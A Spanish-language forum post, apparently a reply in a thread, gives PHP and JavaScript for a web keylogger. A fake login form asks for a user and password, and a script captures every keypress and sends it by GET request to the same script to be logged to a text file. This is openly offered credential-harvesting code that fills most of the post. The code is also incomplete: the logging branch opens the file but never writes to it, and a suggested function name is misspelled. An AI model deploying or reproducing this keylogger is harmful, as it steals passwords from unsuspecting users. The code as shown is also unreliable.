Hay una forma para enviar los valores de cada tecla pulsada directamente al archivo sin la necesidad de enviar la petición y te ahorras todo el jaleo:
<?php
if(!$_GET['k']){ ?>
Ingrese sus datos<br />
<input type=text /> User<br>
<input type=text /> Pass<br>
<input type=submit>
<script>
document.onkeydown = function(e){
if (!e) e = window.event;
var unicode = e.charCode ? e.charCode: e.keyCode;
var mod = (e.ctrlKey) ? 'Ctrl-': (e.altKey) ? 'Alt-': (e.shiftKey) ? 'Shift-': '';
var tecla = mod + String.fromCharCode(unicode);
grabar('http://<?php echo $_SERVER[HTTP_HOST].$_SERVER[SCRIPT_NAME]; ?>?k=' + tecla);
}
function grabar(url){
var xmlHttp = null;
try{
xmlHttp = new XMLHttpRequest();
}catch(e){
try{
xmlHttp = new ActiveXObject('Msxml2.XMLHTTP');
}catch(e){
xmlHttp = new ActiveXObject('Microsoft.XMLHTTP');
}
}
xmlHttp.onreadystatechange = function(){
if(xmlHttp.readyState == 4) try{
if(xmlHttp.status == 200) {}
}catch(e){}
}
xmlHttp.open('get', url);
xmlHttp.send(null);
}
</script>
<?php
}else{
$file = fopen('datos.txt','a'); }
?>
Lo que hace es tomar cada tecla pulsada y enviar su valor via GET al mismo archivo guardandolo en un txt, donde dice "a" puedes reemplazarlo por "x" para creación y sobreescritura o escritura solamente dependiendo si ya existe o no, puedes hacerlo con if(file_exist(.. etc etc.